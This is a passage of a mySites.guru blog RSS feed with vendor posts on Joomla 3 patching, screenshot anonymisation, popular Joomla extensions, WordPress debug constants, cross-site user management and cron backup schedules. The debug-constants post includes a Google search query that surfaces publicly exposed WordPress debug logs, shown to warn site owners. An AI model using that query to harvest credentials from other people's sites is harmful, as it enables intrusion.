&lt;p&gt;The 3.10.999 project and the mySites.guru patch tool are there for exactly that gap. Keep sites secure while you plan and execute the migration to Joomla 6.&lt;/p&gt;
&lt;h2&gt;Get started&lt;/h2&gt;
&lt;p&gt;Add your Joomla 3 sites to mySites.guru, flip the patch toggle, and get on with the migration planning.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Legacy security is covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;full security guide for agencies&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>security</category><category>end-of-life</category><enclosure url="https://mysites.guru/img/og/blog/the-joomla-3-10-999-project.webp" length="0" type="image/webp"/></item><item><title>Anonymize Data Before Taking Screenshots</title><link>https://mysites.guru/blog/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account/</link><guid isPermaLink="true">https://mysites.guru/blog/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account/</guid><description>Append ?anon=1 to any mySites.guru URL to instantly replace site names, URLs, and user data with randomised values so you can share screenshots safely.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We love that people share screenshots of our &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Joomla and WordPress management tools&lt;/a&gt;, but doing so can reveal live site names, customer names, and URLs. You probably don’t want those immortalized in images, and neither do we.&lt;/p&gt;
&lt;p&gt;So we built a way to anonymize all that data right in the browser.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;Append &lt;strong&gt;?anon=1&lt;/strong&gt; to any URL in your mySites.guru account and all site names, URLs, tags, usernames, and avatars are instantly replaced with randomized data.&lt;/p&gt;
&lt;p&gt;Try it: &lt;a href=&quot;https://manage.mysites.guru/en/sites/?anon=1&quot;&gt;https://manage.mysites.guru/en/sites/?anon=1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru dashboard with anonymized site names, URLs, tags, and user data via ?anon=1&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;745&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__U5qrg.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__nltWI.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__1RNoYH.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__1Wnl71.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__U5qrg.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the screenshot above, “Ethan Martinez” is a fake name generated on the fly. Every name, URL, and avatar on the page is randomized.&lt;/p&gt;
&lt;p&gt;This works on every page in mySites.guru. If you’re writing a blog post, giving a presentation, or sharing your setup on social media, just add &lt;code&gt;?anon=1&lt;/code&gt; and take your screenshot.&lt;/p&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;The anonymized data comes from a couple of open-source projects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://randomuser.me/&quot;&gt;randomuser.me&lt;/a&gt; for fake usernames, names, and avatars&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://robohash.org&quot;&gt;robohash.org&lt;/a&gt; for the robot avatar images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you spot one of those little robot faces, now you know why they’re there.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Practical tips like this are part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>tips</category><category>privacy</category><category>screenshots</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account.png" length="0" type="image/png"/></item><item><title>Top 50 Joomla Extensions in 2026</title><link>https://mysites.guru/blog/top-50-joomla-extensions/</link><guid isPermaLink="true">https://mysites.guru/blog/top-50-joomla-extensions/</guid><description>Real-time ranking of the top 50 most-installed Joomla extensions, pulled live from the mySites.guru database of 90,000+ connected sites.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;People are always interested in what other people are using to build their Joomla site. We have the data, so while other sites might blog post about this with static information, we thought we would make this REAL TIME and accessible to all our mySites.guru subscribers, updated with data in real time pulling from our database of over 90,000+ sites&lt;/p&gt;
&lt;p&gt;No Surprises by Akeeba Backup and Joomla Content Editor win hands down. JCE being this widely installed is also why the &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles hack&lt;/a&gt; matters so much: an unauthenticated flaw in older versions is being actively exploited to drop webshells, so check every JCE install you manage is patched.&lt;/p&gt;
&lt;p&gt;Login to your mySites.guru account (Subscribe today if you have not already) and then head on over to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;https://manage.mysites.guru/en/extensions/top/50&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For those that are not customers, here is a sneak preview of the top 10 extensions for Joomla, at the end of November 2019.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 18.59.15&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;699&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-18.59.15-1024x699.sa8B_aCv_tWO5g.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-18.59.15-1024x699.sa8B_aCv_1UGWCO.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-05-18.59.15-1024x699.sa8B_aCv_Z18qqdD.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-05-18.59.15-1024x699.sa8B_aCv_Z2j7Nx1.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-05-18.59.15-1024x699.sa8B_aCv_tWO5g.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Want to make sure your site is compatible with Joomla 6?&lt;/h2&gt;
&lt;p&gt;Check out the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 Technical Requirements Checker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For agency-focused guidance on managing Joomla extensions, updates, and client sites, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><enclosure url="https://mysites.guru/img/og/blog/top-50-joomla-extensions.webp" length="0" type="image/webp"/></item><item><title>WordPress Debug Constants Explained</title><link>https://mysites.guru/blog/understanding-wordpress-debug-constants/</link><guid isPermaLink="true">https://mysites.guru/blog/understanding-wordpress-debug-constants/</guid><description>WP_DEBUG_LOG writes errors to a publicly accessible file that Google has indexed on thousands of sites. Here&apos;s the fix, plus what every debug constant does.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress has a handful of PHP constants that control how errors are reported. They all live in your &lt;code&gt;/wp-config.php&lt;/code&gt; file, alongside the hardening constants we check for such as &lt;a href=&quot;https://mysites.guru/tools/wordpress-configuration/disallow-file-edit/&quot;&gt;DISALLOW_FILE_EDIT&lt;/a&gt;, and most WordPress developers never touch them. That’s usually fine until something breaks and you have no idea why.&lt;/p&gt;
&lt;p&gt;But one of these constants has a security problem that most people miss entirely.&lt;/p&gt;
&lt;h2&gt;Why is WP_DEBUG_LOG a security risk on live sites?&lt;/h2&gt;
&lt;p&gt;This is the one that catches people out. Setting &lt;code&gt;WP_DEBUG_LOG&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; writes PHP errors to &lt;code&gt;/wp-content/debug.log&lt;/code&gt;, and that file is publicly accessible by default. Anyone who knows the path can read it. Worse, &lt;a href=&quot;https://www.google.com/search?q=allinurl%3Awp-content%2Fdebug.log&quot;&gt;Google has already indexed thousands of them&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;allinurl search for wp-content/debug.log&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 813px) 813px, 100vw&quot; width=&quot;813&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-14-20.20.54-813x1024.eiU1kMyt_1POo13.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-14-20.20.54-813x1024.eiU1kMyt_Z2mDcuQ.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.20.54-813x1024.eiU1kMyt_igowF.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.20.54-813x1024.eiU1kMyt_1POo13.webp 813w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These log files can expose database credentials, file paths, plugin internals, and other details that make an attacker’s job much easier. If your site has &lt;code&gt;WP_DEBUG_LOG&lt;/code&gt; set to &lt;code&gt;true&lt;/code&gt; in production, fix it now.&lt;/p&gt;
&lt;p&gt;The fix is to pass a custom, hard-to-guess filename instead of &lt;code&gt;true&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;WP_DEBUG_LOG&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;myOwnRandomFileName_as8f6safsif.log&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now no one can guess the URL. The log still works, but it’s not sitting at a predictable path waiting to be found.&lt;/p&gt;
&lt;p&gt;If you’re worried that your debug log has already been exposed, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;run a suspect content scan&lt;/a&gt; to check for any signs of compromise.&lt;/p&gt;
&lt;h2&gt;The WordPress debug constants&lt;/h2&gt;
&lt;p&gt;Here’s what each one does and when to use it. The official docs are at &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/&quot;&gt;WordPress.org’s Advanced Administration Handbook&lt;/a&gt; if you want the full reference.&lt;/p&gt;
&lt;h2&gt;WP_DEBUG&lt;/h2&gt;
&lt;p&gt;The main switch. Set it to &lt;code&gt;true&lt;/code&gt; and WordPress will show PHP errors, notices, and warnings on screen.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;WP_DEBUG&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Leave this on in development, turn it off in production. Simple.&lt;/p&gt;
&lt;h2&gt;WP_DEBUG_LOG&lt;/h2&gt;
&lt;p&gt;As covered above, this writes errors to a log file instead of printing them on screen. Useful for production sites where you don’t want visitors seeing PHP warnings, but &lt;strong&gt;never set it to &lt;code&gt;true&lt;/code&gt;&lt;/strong&gt; on a live site. Always use a custom filename.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;WP_DEBUG_LOG&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;myOwnRandomFileName_as8f6safsif.log&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WP_DEBUG_DISPLAY&lt;/h2&gt;
&lt;p&gt;Controls whether errors show on screen. Set to &lt;code&gt;false&lt;/code&gt; on live sites so errors get logged but visitors don’t see them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;WP_DEBUG_DISPLAY&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SCRIPT_DEBUG&lt;/h2&gt;
&lt;p&gt;Forces WordPress to load the full, unminified versions of its CSS and JS files instead of the minified ones. Handy when you’re debugging front-end issues and need to actually read the source.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;SCRIPT_DEBUG&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SAVEQUERIES&lt;/h2&gt;
&lt;p&gt;Stores every database query in &lt;code&gt;$wpdb-&amp;gt;queries&lt;/code&gt; so you can inspect them. Good for tracking down slow queries, but leave it off in production because it adds overhead.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;SAVEQUERIES&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checking WordPress debug constants across all your sites&lt;/h2&gt;
&lt;p&gt;Manually checking &lt;code&gt;wp-config.php&lt;/code&gt; on every site gets old fast. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru snapshot&lt;/a&gt; reads your WordPress config and &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;flags anything that doesn’t match best practice&lt;/a&gt;. Most settings have &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;one-click toggles&lt;/a&gt; so you can fix them without editing files. The same one-click approach works for other WordPress configuration checks, like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabling automatic updates&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;cleaning up leftover default content&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;constants on one WordPress site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;604&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_Z1rIfBS.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_1rFMjh.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_FL71b.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_Z1E66yA.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_Z1rIfBS.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can also view any single constant across all your connected sites at once using the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Ultimate Toolset&lt;/a&gt;. Click through any &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; to see that value on every site in one view.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;view constant across all sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;587&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-14-20.11.43-1024x587.ZOkQdfaC_ZJchP9.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-14-20.11.43-1024x587.ZOkQdfaC_Z1nK28p.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.11.43-1024x587.ZOkQdfaC_Z1ghvP.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.11.43-1024x587.ZOkQdfaC_ZdJ5bV.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.11.43-1024x587.ZOkQdfaC_ZJchP9.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For a broader look at hardening your WordPress and Joomla installations, see the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Need someone to fix it for you?&lt;/h2&gt;
&lt;p&gt;If debugging isn’t your thing, or you’d rather not deal with it, we offer set-fee site fixes at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;&lt;/strong&gt;. No hourly billing, no surprises.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;&lt;img alt=&quot;Fix your Joomla or WordPress issue today&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;630&quot; src=&quot;https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_Z282Dqs.webp&quot; srcset=&quot;https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_Z1DWCWb.webp 640w, https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_R1VgQ.webp 750w, https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_Z2gwPX9.webp 828w, https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_1olB18.webp 1080w, https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_Z282Dqs.webp 1200w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Can you try mySites.guru free for a month?&lt;/h2&gt;
&lt;p&gt;We haven’t raised &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;our prices&lt;/a&gt; since 2012. But if you want to see the toolset for yourself first, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;use mySites.guru free for a whole month&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;&lt;img alt=&quot;First Month Free&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;630&quot; src=&quot;https://mysites.guru/_astro/first-month-free.DEPgM4_K_Z2be6je.webp&quot; srcset=&quot;https://mysites.guru/_astro/first-month-free.DEPgM4_K_qHBzv.webp 640w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_sbVxb.webp 750w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_2CO7P.webp 828w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_ZF6e44.webp 1080w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_Z2be6je.webp 1200w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>debugging</category><category>php</category><category>security</category><enclosure url="https://mysites.guru/img/og/blog/understanding-wordpress-debug-constants.webp" length="0" type="image/webp"/></item><item><title>Universal User Management Across Sites</title><link>https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/</guid><description>Search, edit, block and delete users across all your Joomla and WordPress sites from one page, and manage group membership without logging in to each site.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru lets you manage the user accounts on all of your sites from one place. Search for a person across every connected site, change email addresses and passwords, edit group membership, block and unblock accounts, and delete them, without logging in to each site individually.&lt;/p&gt;
&lt;p&gt;This feature was rebuilt in September 2026, and the current write-up lives here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;One Search Finds That User on Every Site You Manage&lt;/a&gt;&lt;/strong&gt; covers both parts of the tool in detail, with screenshots: the full user manager now built into every site’s page, and the portfolio-wide search that finds one person across every Joomla and WordPress site you manage.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What it does, in short&lt;/h2&gt;
&lt;p&gt;Each connected site has a &lt;strong&gt;User Manager&lt;/strong&gt; tab on its page inside mySites.guru, showing that site’s accounts live, with filters for active, blocked, unactivated and super admin accounts. From there you can add an account, edit one, set a password, block or unblock it on Joomla, delete it, and change which user groups it belongs to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Universal User Management&lt;/strong&gt; in the left menu searches every connected site at once for a username, name or email address, and returns every site that person has an account on, with their last login and registration date. From the results you can change name, username, email and password across every site you tick, and block or unblock on the Joomla ones.&lt;/p&gt;
&lt;p&gt;Both read your sites live at the moment you ask. mySites.guru does not store your users’ details, and that includes any password you set with the tool.&lt;/p&gt;
&lt;h2&gt;Common uses&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;When a staff member or contractor leaves, search their email address to see every client site they still have an account on, then change the password or block them everywhere in one pass.&lt;/li&gt;
&lt;li&gt;When a client forgets their password, find them and set a new one without hunting for your own login to their site.&lt;/li&gt;
&lt;li&gt;When someone changes their name or email address, correct it across every site that person has an account on rather than site by site.&lt;/li&gt;
&lt;li&gt;When investigating a compromise, search by name or email address to track down accounts you do not recognise. The &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;rogue admin account detection&lt;/a&gt; in the standard audit is the other side of this, and finds planted accounts you would not know to search for.&lt;/li&gt;
&lt;li&gt;When you do need to be inside the site itself, &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click login&lt;/a&gt; takes you to any site’s admin console.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Not currently supported&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Removing two-factor authentication from a Joomla account, or retrieving its backup codes, as a direct action.&lt;/li&gt;
&lt;li&gt;Blocking a WordPress account, which WordPress itself has no way to express.&lt;/li&gt;
&lt;li&gt;Changing group or role membership from the cross-site search. Group ids differ on every site, so group changes are made per site, in that site’s own editor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Managing your &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team’s access to mySites.guru itself&lt;/a&gt; is a separate feature from managing the users on your clients’ sites.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>user management</category><category>site management</category><category>agency tools</category><enclosure url="https://mysites.guru/img/og/blog/universal-user-management-for-joomla-and-wordpress-sites.png" length="0" type="image/png"/></item><item><title>Unlimited Backup Schedules With Cron Syntax</title><link>https://mysites.guru/blog/unlimited-backup-schedules/</link><guid isPermaLink="true">https://mysites.guru/blog/unlimited-backup-schedules/</guid><description>Create unlimited backup schedules in mySites.guru using cron syntax. Assign different Akeeba Backup profiles per schedule.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;mySites.guru lets you create &lt;strong&gt;unlimited backup schedules&lt;/strong&gt;, each defined with a cron expression. You pick the timing, the frequency, and which Akeeba Backup profile to use - per schedule.&lt;/p&gt;
&lt;h2&gt;Example schedules&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Daily morning&lt;/strong&gt; - back up using the “Default Backup Profile” and save on the server every morning&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nightly FTP&lt;/strong&gt; - send a backup to FTP every evening&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weekly offsite&lt;/strong&gt; - send a backup to Amazon Glacier once a week on Tuesday&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru backup schedule configuration showing multiple cron-based schedules&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;288&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-08-31-at-16.48.08-1024x288.D8equkTI_26lG6C.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-08-31-at-16.48.08-1024x288.D8equkTI_Z2d06kI.webp 640w, https://mysites.guru/_astro/Screenshot-2020-08-31-at-16.48.08-1024x288.D8equkTI_ZJGQXk.webp 750w, https://mysites.guru/_astro/Screenshot-2020-08-31-at-16.48.08-1024x288.D8equkTI_DGt44.webp 828w, https://mysites.guru/_astro/Screenshot-2020-08-31-at-16.48.08-1024x288.D8equkTI_26lG6C.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Cron expression syntax&lt;/h2&gt;
&lt;p&gt;Cron syntax is a standard way of defining when a scheduled event should run. If you’ve ever configured a server, you’ve probably seen it.&lt;/p&gt;
&lt;p&gt;If you want more detail, see the &lt;a href=&quot;https://en.wikipedia.org/wiki/Cron#CRON_expression&quot;&gt;Wikipedia article on cron expressions&lt;/a&gt; - but most agencies using mySites.guru will already be familiar with cron.&lt;/p&gt;
&lt;p&gt;Cron has 5 segments: &lt;code&gt;* * * * *&lt;/code&gt; (a star means “every”). So &lt;code&gt;* * * * *&lt;/code&gt; means every minute of every day - probably not what you want for backups.&lt;/p&gt;
&lt;p&gt;You can adjust the syntax for granular control. Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Daily at 09:15 UTC&lt;/strong&gt; - &lt;code&gt;15 9 * * *&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weekly on Tuesday at 12:34 UTC&lt;/strong&gt; - &lt;code&gt;34 12 * * 2&lt;/code&gt; (the &lt;code&gt;2&lt;/code&gt; represents Tuesday, where 0 = Sunday)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monthly on the 26th at 04:36 UTC&lt;/strong&gt; - &lt;code&gt;36 4 26 * *&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can you use different backup profiles per schedule?&lt;/h2&gt;
&lt;p&gt;You can specify a different Akeeba Backup profile for each schedule. This means you can run a daily on-server backup, a weekly off-server backup, and a monthly Amazon S3 backup - all at the same time.&lt;/p&gt;
&lt;p&gt;If you’re already using &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; Professional, this is where those extra profiles actually become useful.&lt;/p&gt;
&lt;h2&gt;Powered by Akeeba Backup&lt;/h2&gt;
&lt;p&gt;Akeeba Backup Professional is the backup solution we’ve integrated with since day one. We use their API directly and recommend their tools to every customer. The &lt;a href=&quot;https://mysites.guru/website-backups/&quot;&gt;website backups&lt;/a&gt; page covers how mySites.guru drives it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;💡 Recommendation&lt;/p&gt;
  &lt;p&gt;If you&apos;re new to Joomla or WordPress and need a solid backup solution, pick up a subscription to Akeeba Backup Professional - and grab Admin Tools Professional while you&apos;re there.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;mySites.guru also supports the &lt;strong&gt;All-in-One WP Migration&lt;/strong&gt; backup plugin for WordPress.&lt;/p&gt;
